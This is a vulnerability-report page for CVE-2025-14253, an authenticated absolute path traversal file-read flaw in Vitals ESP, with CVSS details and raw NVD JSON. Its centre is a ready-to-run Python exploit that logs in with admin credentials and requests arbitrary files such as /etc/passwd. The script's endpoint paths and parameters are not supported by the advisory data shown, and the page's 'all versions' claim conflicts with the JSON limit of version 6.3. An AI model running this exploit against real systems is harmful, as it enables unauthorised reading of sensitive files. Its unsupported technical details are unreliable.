Security Vulnerability Report
中文
CVE-2025-14253 CVSS 4.9 MEDIUM

CVE-2025-14253

Published: 2025-12-08 08:15:52
Last Modified: 2026-01-15 01:42:39

Description

Vitals ESP developed by Galaxy Software Services has an Arbitrary File Read vulnerability, allowing privileged remote attackers to exploit Absolute Path Traversal to download arbitrary system files.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gss:vitalsesp:*:*:*:*:*:*:*:* - VULNERABLE
Vitals ESP (Galaxy Software Services) 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14253 PoC - Vitals ESP Arbitrary File Read # Target: Vitals ESP by Galaxy Software Services # Attack Type: Absolute Path Traversal def exploit_vitals_esp(target_url, file_path, credentials): """ Exploit for CVE-2025-14253: Vitals ESP Arbitrary File Read Args: target_url: Base URL of Vitals ESP application file_path: Absolute path of file to read (e.g., /etc/passwd or C:\\Windows\\win.ini) credentials: Tuple of (username, password) for high-privilege account Returns: File contents if successful, None otherwise """ login_url = f"{target_url}/api/login" file_read_url = f"{target_url}/api/file/read" # Step 1: Authenticate with high-privilege account session = requests.Session() login_data = { "username": credentials[0], "password": credentials[1] } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Exploit path traversal to read arbitrary file exploit_data = { "path": file_path, "mode": "absolute" # Key parameter for absolute path traversal } exploit_response = session.post(file_read_url, json=exploit_data, timeout=10) if exploit_response.status_code == 200: print(f"[+] Successfully read file: {file_path}") return exploit_response.json().get("content", "") else: print("[-] Exploitation failed") return None except requests.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <file_path> <username> <password>") print("Example: python exploit.py http://vitals-esp.local /etc/passwd admin password123") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] creds = (sys.argv[3], sys.argv[4]) result = exploit_vitals_esp(target, file_path, creds) if result: print("\n=== File Contents ===") print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14253", "sourceIdentifier": "[email protected]", "published": "2025-12-08T08:15:51.883", "lastModified": "2026-01-15T01:42:38.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vitals ESP developed by Galaxy Software Services has an Arbitrary File Read vulnerability, allowing privileged remote attackers to exploit Absolute Path Traversal to download arbitrary system files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gss:vitalsesp:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.3", "matchCriteriaId": "1ED528F0-C755-4447-A26D-1F10CAA1B30A"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10543-380bd-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10542-4c682-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}